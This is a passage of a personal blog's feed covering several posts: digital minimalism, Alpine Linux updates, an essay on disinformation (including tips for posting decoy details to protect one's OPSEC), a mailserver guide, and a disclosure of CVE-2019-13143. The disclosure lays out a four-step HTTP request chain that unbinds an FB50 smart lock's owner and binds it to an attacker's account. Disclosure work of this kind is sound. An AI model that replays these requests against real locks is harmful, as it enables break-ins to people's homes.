a time governance app&mdash;like OnePlus&rsquo; Zen Mode&mdash;to enforce how much
time you spend using specific apps, or the phone itself. I&rsquo;ve tried this
for myself, but I constantly found myself counting down the minutes
after which the phone would become usable again. Not helpful.</p>

<p>My solution to this is a lot more brutal. I straight up uninstalled the
apps that I found myself using too often. There&rsquo;s a simple principle
behind it&mdash;if the app has a desktop alternative, like Twitter,
Reddit, etc. use that instead. Here&rsquo;s a list of apps that got nuked from
my phone:</p>

<ul>
<li>Twitter</li>
<li>Instagram (an exception, no desktop client)</li>
<li>Relay for Reddit</li>
<li>YouTube (disabled, ships with stock OOS)</li>
</ul>

<p>The only non-productive app that I&rsquo;ve let remain is Clover,
a 4chan client. I didn&rsquo;t find myself using it as much earlier, but we&rsquo;ll see how that
holds up. I&rsquo;ve also allowed my personal messaging apps to remain, since
removing those would be inconveniencing others.</p>

<p>I must admit, I often find myself reaching for my phone out of habit
just to check Twitter, only to find that its gone. I also subconsciously
tap the place where its icon used to exist (now replaced with my mail
client) on my launcher. The only &ldquo;fun&rdquo; thing left on my phone to do is
read or listen to music. Which is okay, in my opinion.</p>

<h2 id="the-computer">The computer</h2>

<p>I didn&rsquo;t do anything too nutty here, and most of the minimalism is
mostly aesthetic. I like UIs that get out of the way.</p>

<p>My setup right now is just a simple bar at the top showing the time,
date, current volume and battery %, along with my workspace indicators.
No fancy colors, no flashy buttons and sliders. And that&rsquo;s it. I don&rsquo;t
try to force myself to not use stuff&mdash;after all, I&rsquo;ve reduced it
elsewhere. :)</p>

<p>Now the question arises: Is this just a phase, or will I stick to it?
What&rsquo;s going to stop me from heading over to the Play Store and
installing those apps back? Well, I never said this was going to be
easy. There&rsquo;s definitely some will power needed to pull this off.
I guess time will tell.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Status update</title>
|
||
<updated>2019-09-27T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-09-27:blog/2019-09-27</id>
|
||
<link href="https://icyphox.sh/blog/2019-09-27"></link>
|
||
<summary type="html"><h2>Alpine Linux shenaningans and more</h2>
<p>It&rsquo;s a lazy Friday afternoon here; yet another off day this week thanks to my
uni&rsquo;s fest. My last &ldquo;weekly&rdquo; update was 10 days ago, and a lot has happened
since then. Let&rsquo;s get right into it!</p>

<h2 id="my-switch-to-alpine">My switch to Alpine</h2>

<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>

<pre><code class="language-shell">$ dpkg --list | wc -l
3817

# or something in that ballpark
</code></pre>

<p>I&rsquo;ve been wanting to reduce my system&rsquo;s package count.</p>

<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
sane package manager. I did come across Dylan Araps&rsquo;
<a href="https://getkiss.org" rel="nofollow">KISS Linux</a> project, but it seemed a little too hands-on
for me (and still relatively new). I finally settled on
<a href="https://alpinelinux.org" rel="nofollow">Alpine Linux</a>. According to their website:</p>

<blockquote>
<p>Alpine Linux is a security-oriented, lightweight Linux distribution based
on musl libc and busybox.</p>
</blockquote>

<p>The installation was a breeze, and I was quite surprised to see WiFi working
OOTB. In the past week of my using this distro, the only major hassle I faced
was getting my Minecraft launcher to run. The JRE isn&rsquo;t fully ported to <code>musl</code>
yet.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
soon. (hint: it involves chroots)</p>

<p><img src="https://cdn.icyphox.sh/LDq8W.png" alt="" /></p>

<h2 id="packaging-for-alpine">Packaging for Alpine</h2>

<p>On a related note, I&rsquo;ve been busy packaging some of the stuff I use for Alpine
-- you can see my personal <a href="https://github.com/icyphox/aports" rel="nofollow">aports</a>
repository if you&rsquo;re interested. I&rsquo;m currently working on packaging Nim too, so
keep an eye out for that in the coming week.</p>

<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>

<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue" rel="nofollow">@_vologue</a>) and I are
going to be speaking at PyCon India about our recent smart lock security
research. The conference is happening in Chennai, much to our convenience.
If you&rsquo;re attending too, hit me up on Twitter and we can hang!</p>

<h2 id="other">Other</h2>

<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
strong, my reading however, hasn&rsquo;t. I have <em>yet</em> to finish those books! This
week, for sure.</p>

<p>Musically, I&rsquo;ve been experimenting. I tried a bit of hip-hop and chilltrap, and
I think I like it? I still find myself coming back to metalcore/deathcore.
Here&rsquo;s a list of artists I discovered (and liked) recently:</p>

<ul>
<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA" rel="nofollow">Before I Turn</a></li>
<li>生 Conform 死 (couldn&rsquo;t find any official YouTube video, check Spotify)</li>
<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4" rel="nofollow">Treehouse Burning</a></li>
<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY" rel="nofollow">Lee McKinney</a></li>
<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM" rel="nofollow">Berried Alive</a> (rediscovered)</li>
</ul>

<p>That&rsquo;s it for now, I&rsquo;ll see you next week!</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1">The <a href="https://aboullaite.me/protola-alpine-java/" rel="nofollow">Portola Project</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Status update</title>
|
||
<updated>2019-09-17T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-09-17:blog/2019-09-17</id>
|
||
<link href="https://icyphox.sh/blog/2019-09-17"></link>
|
||
<summary type="html"><h2>A brief on what happened last week</h2>
<p>This is something new I&rsquo;m trying out, in an effort to write more frequently
and to serve as a log of how I&rsquo;m using my time. In theory, I will write this post
every week. I&rsquo;ll need someone to hold me accountable if I don&rsquo;t. I have yet to decide on
a format for this, but it will probably include a quick summary of the work I did,
things I read, IRL stuff, etc.</p>

<p>With the meta stuff out of the way, here&rsquo;s what went down last week!</p>

<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>

<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&rsquo;s a link to
the <a href="https://webring.xxiivv.com" rel="nofollow">XXIIVV webring</a>. I really like the idea of webrings.
It creates a small community of sites and enables sharing of traffic among these sites.
The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
of those sites are beautiful. Mine pales in comparison.</p>

<p>The webring also has a <a href="https://github.com/buckket/twtxt" rel="nofollow">twtxt</a> echo chamber aptly
called <a href="https://webring.xxiivv.com/hallway.html" rel="nofollow">The Hallway</a>. twtxt is a fantastic project
and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>

<p>Which brings me to the next thing I did this/last week.</p>

<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>

<p>I&rsquo;m not a fan of the official Python client, because you know, Python is bloat.
As an advocate of <em>mnmlsm</em>, I can&rsquo;t use it in good conscience. Thus, began my
authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh" rel="nofollow">here</a>.
It&rsquo;s not entirely useable as of yet, but it&rsquo;s definitely getting there, with the help
of <a href="https://nerdypepper.me" rel="nofollow">@nerdypepper</a>.</p>

<h2 id="other">Other</h2>

<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
Darknet Diaries &amp; Off the Pill. To add to this list, I&rsquo;ve begun binging Vice&rsquo;s CYBER.
It&rsquo;s pretty good&mdash;each episode is only about 30 mins and it hits the sweet spot,
delvering both interesting security content and news.</p>

<p>My reading needs a ton of catching up. Hopefully I&rsquo;ll get around to finishing up
&ldquo;The Unending Game&rdquo; this week. And then go back to &ldquo;Terrorism and Counterintelligence&rdquo;.</p>

<p>I&rsquo;ve begun learning Russian! I&rsquo;m really liking it so far, and it&rsquo;s been surprisingly
easy to pick up. Learning the Cyrillic script will require some relearning, especially
with letters like в, н, р, с, etc. that look like English but sound entirely different.
I think I&rsquo;m pretty serious about learning this language&mdash;I&rsquo;ve added the Russian keyboard
to my Google Keyboard to aid in my familiarization of the alphabet. I&rsquo;ve added the <code>RU</code>
layout to my keyboard map too:</p>

<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
</code></pre>

<p>With that ends my weekly update, and I&rsquo;ll see you next week!</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Disinformation demystified</title>
|
||
<updated>2019-09-10T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-09-10:blog/disinfo</id>
|
||
<link href="https://icyphox.sh/blog/disinfo"></link>
|
||
<summary type="html"><h2>Misinformation, but deliberate</h2>
<p>As with the disambiguation of any word, let&rsquo;s start with its etymology and definiton.
According to <a href="https://en.wikipedia.org/wiki/Disinformation" rel="nofollow">Wikipedia</a>,
<em>disinformation</em> has been borrowed from the Russian word &mdash; <em>dezinformatisya</em> (дезинформа́ция),
derived from the title of a KGB black propaganda department.</p>

<blockquote>
<p>Disinformation is false information spread deliberately to deceive.</p>
</blockquote>

<p>To fully understand disinformation, especially in the modern age, we need to understand the
key factors of any successful disinformation operation:</p>

<ul>
<li>creating disinformation (what)</li>
<li>the motivation behind the op, or its end goal (why)</li>
<li>the medium used to disperse the falsified information (how)</li>
<li>the actor (who)</li>
</ul>

<p>At the end, we&rsquo;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>

<p>In order to break monotony, I will also be using the terms &ldquo;information operation&rdquo;, or the shortened
forms&mdash;&ldquo;info op&rdquo; &amp; &ldquo;disinfo&rdquo;.</p>

<h2 id="creating-disinformation">Creating disinformation</h2>

<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
of any disinformation sample is a huge indicator of the level of sophistication of the
actor involved, i.e. is it a 12 year old troll or a nation state?</p>

<p>Well crafted disinformation always has one primary characteristic &mdash; &ldquo;plausibility&rdquo;.
The disinfo must sound reasonable. It must induce the notion it&rsquo;s <em>likely</em> true.
To achieve this, the target &mdash; be it an individual, a specific demographic or an entire
nation &mdash; must be well researched. A deep understanding of the target&rsquo;s culture, history,
geography and psychology is required. It also needs circumstantial and situational awareness,
of the target.</p>

<p>There are many forms of disinformation. A few common ones are staged videos / photographs,
recontextualized videos / photographs, blog posts, news articles &amp; most recently &mdash; deepfakes.</p>

<p>Here&rsquo;s a tweet from <a href="https://twitter.com/thegrugq" rel="nofollow">the grugq</a>, showing a case of recontextualized
imagery:</p>

<p><blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
<p lang="en" dir="ltr">Disinformation.
<br><br>
The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
<br><br>Recontextualisation as threat vector.
<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
</p>&mdash; thaddeus e. grugq (@thegrugq)
<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
</blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p>

<h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2>

<p>I like to broadly categorize any info op as either proactive or reactive.
Proactively, disinformation is spread with the desire to influence the target
either before or during the occurence of an event. This is especially observed
during elections.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>
In offensive information operations, the target&rsquo;s psychological state can be affected by
spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>

<p>Reactive disinformation is when the actor, usually a nation state in this case,
screws up and wants to cover their tracks. A fitting example of this is the case
of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over
eastern Ukraine. This tragic incident has been attributed to Russian-backed
separatists.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>
Russian media is known to have desseminated a number of alternative &amp; some even
conspiratorial theories<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>, in response. The number grew as the JIT&rsquo;s (Dutch-lead Joint
Investigation Team) investigations pointed towards the separatists.
The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
potentially correct information takes a credibility hit.</p>

<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
in totalitarian regimes; when the government decides what the media portrays to the
masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests" rel="nofollow">NPR</a>:</p>

<blockquote>
<p>Official state media pin the blame for protests on the &ldquo;black hand&rdquo; of foreign interference,
namely from the United States, and what they have called criminal Hong Kong thugs.
A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters,
who are demanding an end to an extradition bill with China and the ability to elect their own leader.
Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience,
this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
&hellip;</p>
</blockquote>

<h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2>

<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&rsquo;s
popularity.</p>

<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
generate activity programmatically via the API, Twitter bots are the go-to choice today for
info ops. Essentially, an actor attempts to create &ldquo;discussions&rdquo; amongst &ldquo;users&rdquo; (read: bots),
to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
get realtime insights into what sticks and what doesn&rsquo;t.
The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
factory &mdash; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency" rel="nofollow">Internet Research Agency</a> (IRA)
to create discussions about alternative theories.</p>

<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
actively invest in creating group chats to spread political messages and memes. These parties
have volunteers whose sole job is to sit and forward messages.
Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
this is disinformation without a motive, or the motive is hard to determine simply because
the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref:5"><a href="#fn:5">5</a></sup>
This is a difficult problem to combat, especially given the nature of the target audience.</p>

<h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2>

<p>I doubt this requires further elaboration, but in short:</p>

<ul>
<li>nation states and their intelligence agencies</li>
<li>governments, political parties</li>
<li>other non/quasi-governmental groups</li>
<li>trolls</li>
</ul>

<p>This essentially sums up the what, why, how and who of disinformation.</p>

<h2 id="personal-opsec">Personal OPSEC</h2>

<p>This is a fun one. Now, it&rsquo;s common knowledge that
<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
lead to your OPSEC being compromised.
So if you really have to, you can feign activity using disinformation. For example,
pick a place, and throw in subtle details pertaining to the weather, local events
or regional politics of that place into your disinfo. Assuming this is Twitter, you can
tweet stuff like:</p>

<ul>
<li>&ldquo;Ugh, when will this hot streak end?!&rdquo;</li>
<li>&ldquo;Traffic wonky because of the Mardi Gras parade.&rdquo;</li>
<li>&ldquo;Woah, XYZ place is nice! Especially the fountains by ABC street.&rdquo;</li>
</ul>

<p>Of course, if you&rsquo;re a nobody on Twitter (like me), this is a non-issue for you.</p>

<p>And please, don&rsquo;t do this:</p>

<p><img src="https://cdn.icyphox.sh/gqoHr.png" alt="" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>The ability to influence someone&rsquo;s decisions/thought process in just one tweet is
scary. There is no simple way to combat disinformation. Social media is hard to control.
Just like anything else in cyber, this too is an endless battle between social media corps
and motivated actors.</p>

<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
folks see the truth in a post-truth world.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked" rel="nofollow">This</a> episode of CYBER talks about election influence ops (features the grugq!). <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">The <a href="https://www.bellingcat.com/category/resources/podcasts/" rel="nofollow">Bellingcat Podcast</a>&rsquo;s season one covers the MH17 investigation in detail. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories" rel="nofollow">Wikipedia section on MH17 conspiracy theories</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:4"><a href="https://twitter.com/gdead/status/1171032265629032450" rel="nofollow">Chinese newspaper spreading disinfo</a> <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:5">Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html" rel="nofollow">this</a>. <a class="footnote-return" href="#fnref:5"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Setting up my personal mailserver</title>
|
||
<updated>2019-08-15T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-08-15:blog/mailserver</id>
|
||
<link href="https://icyphox.sh/blog/mailserver"></link>
|
||
<summary type="html"><h2>This is probably a terrible idea…</h2>
<p>A mailserver was a long time coming. I&rsquo;d made an attempt at setting one up
around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
I almost did this time too.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p>

<p>For this attempt, I wanted a simpler approach. I recall how terribly
confusing Dovecot &amp; Postfix were to configure and hence I decided to look
for a containerized solution, that most importantly, runs on my cheap $5
Digital Ocean VPS &mdash; 1 vCPU and 1 GB memory. Of which only around 500 MB
is actually available. So yeah, <em>pretty</em> tight.</p>

<h2 id="what-s-available">What&rsquo;s available</h2>

<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
These are the ones I came across:</p>

<ul>
<li><p><a href="https://poste.io" rel="nofollow">poste.io</a>: Based on an &ldquo;open core&rdquo; model. The base install is open source
and free (as in beer), but you&rsquo;ll have to pay for the extra stuff.</p></li>

<li><p><a href="https://mailu.io" rel="nofollow">mailu.io</a>: Free software. Draws inspiration from poste.io,
but ships with a web UI that I didn&rsquo;t need.</p></li>

<li><p><a href="https://mailcow.email" rel="nofollow">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>

<li><p><a href="https://mailinabox.email" rel="nofollow">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
a mention. It however, needs a fresh box to work with. A box with absolutely
nothing else on it. I can&rsquo;t afford to do that.</p></li>

<li><p><a href="https://github.com/tomav/docker-mailserver/" rel="nofollow">docker-mailserver</a>: <strong>The winner</strong>.</p></li>
</ul>

<h2 id="so-docker-mailserver">So… <code>docker-mailserver</code></h2>

<p>The first thing that caught my eye in the README:</p>

<blockquote>
<p>Recommended:</p>

<ul>
<li>1 CPU</li>
<li>1GB RAM</li>
</ul>

<p>Minimum:</p>

<ul>
<li>1 CPU</li>
<li>512MB RAM</li>
</ul>
</blockquote>

<p>Fantastic, I can somehow squeeze this into my existing VPS.
Setup was fairly simple &amp; the docs are pretty good. It employs a single
<code>.env</code> file for configuration, which is great.
However, I did run into a couple of hiccups here and there.</p>

<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
of memory.</p>

<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
</code></pre>

<p>But it eventually worked after a couple of attempts.</p>

<p>The next thing I struggled with &mdash; DNS. Specifically, the with the step where
the DKIM keys are generated<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>. The output under<br />
<code>config/opendkim/keys/domain.tld/mail.txt</code><br />
isn&rsquo;t exactly CloudFlare friendly; they can&rsquo;t be directly copy-pasted into
a <code>TXT</code> record.</p>

<p>This is what it looks like.</p>

<pre><code>mail._domainkey	IN	TXT	( &quot;v=DKIM1; h=sha256; k=rsa; &quot;
	 &quot;p=&lt;key&gt;&quot;
	 &quot;&lt;more key&gt;&quot; ) ; -- -- DKIM key mail for icyphox.sh
</code></pre>

<p>But while configuring the record, you set &ldquo;Type&rdquo; to <code>TXT</code>, &ldquo;Name&rdquo; to <code>mail._domainkey</code>,
and the &ldquo;Value&rdquo; to what&rsquo;s inside the parenthesis <code>( )</code>, <em>removing</em> the quotes <code>&quot;&quot;</code>.
Also remove the part that appears to be a comment <code>; -- -- ...</code>.</p>

<p>To simplify debugging DNS issues later, it&rsquo;s probably a good idea to
point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an
<code>A</code> record.
You&rsquo;ll then have to set an <code>MX</code> record with the &ldquo;Name&rdquo; as <code>@</code> (or whatever your DNS provider
uses to denote the root domain) and the &ldquo;Value&rdquo; to <code>mail.domain.tld</code>.
And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of
your <code>A</code> record &mdash; &ldquo;Name&rdquo; as the server IP and &ldquo;Value&rdquo; as <code>mail.domain.tld</code>.
I learnt this part the hard way, when my outgoing email kept getting
rejected by Tutanota&rsquo;s servers.</p>

<p>Yet another hurdle &mdash; SSL/TLS certificates. This isn&rsquo;t very properly
documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples" rel="nofollow">wiki</a>
and look at an example. In short, install <code>certbot</code>, have port 80 free,
and run</p>

<pre><code class="language-shell">$ certbot certonly --standalone -d mail.domain.tld
</code></pre>

<p>Once that&rsquo;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in
the container, something like so:</p>

<pre><code class="language-yaml">...

volumes:
 - maildata:/var/mail
 - mailstate:/var/mail-state
 - ./config/:/tmp/docker-mailserver/
 - /etc/letsencrypt:/etc/letsencrypt

...
</code></pre>

<p>With this done, you shouldn&rsquo;t have mail clients complaining about
wonky certs for which you&rsquo;ll have to add an exception manually.</p>

<h2 id="why-would-you">Why would you…?</h2>

<p>There are a few good reasons for this:</p>

<h3 id="privacy">Privacy</h3>

<p>No really, this is <em>the</em> best choice for truly private
email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&rsquo;t
dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>,</p>

<blockquote>
<p>Truly secure systems do not require you to trust the service provider.</p>
</blockquote>

<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
how can you really be sure that it isn&rsquo;t a backdoored version of it?</p>

<p>When you host your own mailserver, you truly own your email without having to rely on any
third-party.
This isn&rsquo;t an attempt to spread FUD. In the end, it all depends on your
threat model™.</p>

<h3 id="decentralization">Decentralization</h3>

<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
active users. That&rsquo;s obscene.
Email was designed to be decentralized but big corps swooped in and
made it a product. They now control your data, and it isn&rsquo;t unknown that
Google reads your mail. This again loops back to my previous point, privacy.
Decentralization guarantees privacy. When you control your mail, you subsequently
control who reads it.</p>

<h3 id="personalization">Personalization</h3>

<p>Can&rsquo;t ignore this one. It&rsquo;s cool to have a custom email address to flex.</p>

<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>

<p>Pfft, this is no competition.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1">My <a href="https://twitter.com/icyphox/status/1161648321548566528" rel="nofollow">tweet</a> of frustration. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2"><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys" rel="nofollow">Link</a> to step in the docs. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3">From his <a href="https://drewdevault.com/2018/08/08/Signal.html" rel="nofollow">article</a> on why he doesn&rsquo;t trust Signal. <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Picking the FB50 smart lock (CVE-2019-13143)</title>
|
||
<updated>2019-08-05T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2019-08-05:blog/fb50</id>
|
||
<link href="https://icyphox.sh/blog/fb50"></link>
|
||
<summary type="html"><h2>… and lessons learnt in IoT security</h2>
<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure" rel="nofollow">SecureLayer7&rsquo;s Blog</a>, with my edits</em>)</p>

<h2 id="the-lock">The lock</h2>

<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
across many ecommerce sites, and has over, an estimated, 15k+ users.</p>

<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
the Play/App Store to function. The app requires the user to create an
account before further functionality is available.
It also facilitates configuring the fingerprint,
and unlocking from a range via Bluetooth.</p>

<p>We had two primary attack surfaces we decided to tackle&mdash;Bluetooth (BLE)
and the Android app.</p>

<h2 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h2>

<p>Android phones have the ability to capture Bluetooth (HCI) traffic
which can be enabled under Developer Options under Settings. We made
around 4 &ldquo;unlocks&rdquo; from the Android phone, as seen in the screenshot.</p>

<p><img src="https://cdn.icyphox.sh/IO5G0.png" alt="" /></p>

<p>This is the value sent in the <code>Write</code> request:</p>

<p><img src="https://cdn.icyphox.sh/rJVoE.png" alt="" /></p>

<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
but that didn&rsquo;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p>

<h2 id="via-the-android-app">Via the Android app</h2>

<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&rsquo;t get us too
far since most of it was obfuscated. Why bother when there exists an
easier approach&mdash;BurpSuite.</p>

<p>We captured and played around with a bunch of requests and responses,
and finally arrived at a working exploit chain.</p>

<h2 id="the-exploit">The exploit</h2>

<p>The entire exploit is a 4 step process consisting of authenticated
HTTP requests:</p>

<ol>
<li>Using the lock&rsquo;s MAC (obtained via a simple Bluetooth scan in the
vicinity), get the barcode and lock ID</li>
<li>Using the barcode, fetch the user ID</li>
<li>Using the lock ID and user ID, unbind the user from the lock</li>
<li>Provide a new name, attacker&rsquo;s user ID and the MAC to bind the attacker
to the lock</li>
</ol>

<p>This is what it looks like, in essence (personal info redacted).</p>

<h3 id="request-1">Request 1</h3>

<pre><code>POST /oklock/lock/queryDevice
{&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;}
</code></pre>

<p>Response:</p>

<pre><code>{
 &quot;result&quot;:{
 &quot;alarm&quot;:0,
 &quot;barcode&quot;:&quot;&lt;BARCODE&gt;&quot;,
 &quot;chipType&quot;:&quot;1&quot;,
 &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;,
 &quot;deviceId&quot;:&quot;&quot;,
 &quot;electricity&quot;:&quot;95&quot;,
 &quot;firmwareVersion&quot;:&quot;2.3&quot;,
 &quot;gsmVersion&quot;:&quot;&quot;,
 &quot;id&quot;:&lt;LOCK ID&gt;,
 &quot;isLock&quot;:0,
 &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;,
 &quot;lockPwd&quot;:&quot;000000&quot;,
 &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;,
 &quot;name&quot;:&quot;lock&quot;,
 &quot;radioName&quot;:&quot;BlueFPL&quot;,
 &quot;type&quot;:0
 },
 &quot;status&quot;:&quot;2000&quot;
}
</code></pre>

<h3 id="request-2">Request 2</h3>

<pre><code>POST /oklock/lock/getDeviceInfo

{&quot;barcode&quot;:&quot;https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;&quot;}
</code></pre>

<p>Response:</p>

<pre><code> &quot;result&quot;:{
 &quot;account&quot;:&quot;email@some.website&quot;,
 &quot;alarm&quot;:0,
 &quot;barcode&quot;:&quot;&lt;BARCODE&gt;&quot;,
 &quot;chipType&quot;:&quot;1&quot;,
 &quot;createAt&quot;:&quot;2019-05-14 09:32:23.0&quot;,
 &quot;deviceId&quot;:&quot;&quot;,
 &quot;electricity&quot;:&quot;95&quot;,
 &quot;firmwareVersion&quot;:&quot;2.3&quot;,
 &quot;gsmVersion&quot;:&quot;&quot;,
 &quot;id&quot;:&lt;LOCK ID&gt;,
 &quot;isLock&quot;:0,
 &quot;lockKey&quot;:&quot;69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95&quot;,
 &quot;lockPwd&quot;:&quot;000000&quot;,
 &quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;,
 &quot;name&quot;:&quot;lock&quot;,
 &quot;radioName&quot;:&quot;BlueFPL&quot;,
 &quot;type&quot;:0,
 &quot;userId&quot;:&lt;USER ID&gt;
 }
</code></pre>

<h3 id="request-3">Request 3</h3>

<pre><code>POST /oklock/lock/unbind

{&quot;lockId&quot;:&quot;&lt;LOCK ID&gt;&quot;,&quot;userId&quot;:&lt;USER ID&gt;}
</code></pre>

<h3 id="request-4">Request 4</h3>

<pre><code>POST /oklock/lock/bind

{&quot;name&quot;:&quot;newname&quot;,&quot;userId&quot;:&lt;USER ID&gt;,&quot;mac&quot;:&quot;XX:XX:XX:XX:XX:XX&quot;}
</code></pre>

